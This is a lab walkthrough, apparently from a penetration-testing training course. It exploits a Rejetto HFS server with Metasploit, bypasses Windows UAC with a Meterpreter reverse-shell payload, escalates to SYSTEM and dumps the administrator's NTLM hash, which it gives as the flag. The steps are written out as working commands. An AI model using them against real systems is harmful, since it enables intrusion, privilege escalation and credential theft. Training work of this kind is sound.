Lab
A Kali GUI machine and a target running a vulnerable server are provided. The target IP is in a text file named target on the Kali Desktop (/root/Desktop/target). Fingerprint the application with the tools on the Kali box, exploit it with the right Metasploit module, then bypass UAC with the Memory Injection Metasploit local exploit module.
Objective: gain the highest privilege on the compromised machine and get the administrator user's NTLM hash.
Start PostgreSQL and msfconsole
service postgresql start && msfconsole
Create a Workspace
workspace -a uac
Set Global Variables
setg RHOSTS 10.3.28.126
setg RHOST 10.3.28.126
Scan with db_nmap
db_nmap -sC -sV 10.3.28.126 -Pn
Exploit the Rejetto HTTP File Server
The exploit command runs with the default payload; a 64-bit Meterpreter payload can be set instead.
use exploit/windows/http/rejetto_hfs_exec
exploit # CAN ALSO SET PAYLOAD WINDOWS/X64/METERPRETER/REVERSE_TCP
Migrate into a 64-bit Process
List processes and migrate into explorer.exe to move to an x64 process:
ps
migrate 2748 # explorer.exe
Bypass UAC
use exploit/windows/local/bypassuac_injection
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SESSION #
set LPORT 1337
set TARGET 1 # x64
exploit
With UAC bypassed, getsystem now succeeds:
getsystem # UAC is disabled now so it works
getuid
Dump the hashes from the SAM database:
hashdump
Flag
Administrator NTLM hash: f168d9f8e6c5b893b8c4dfa202228235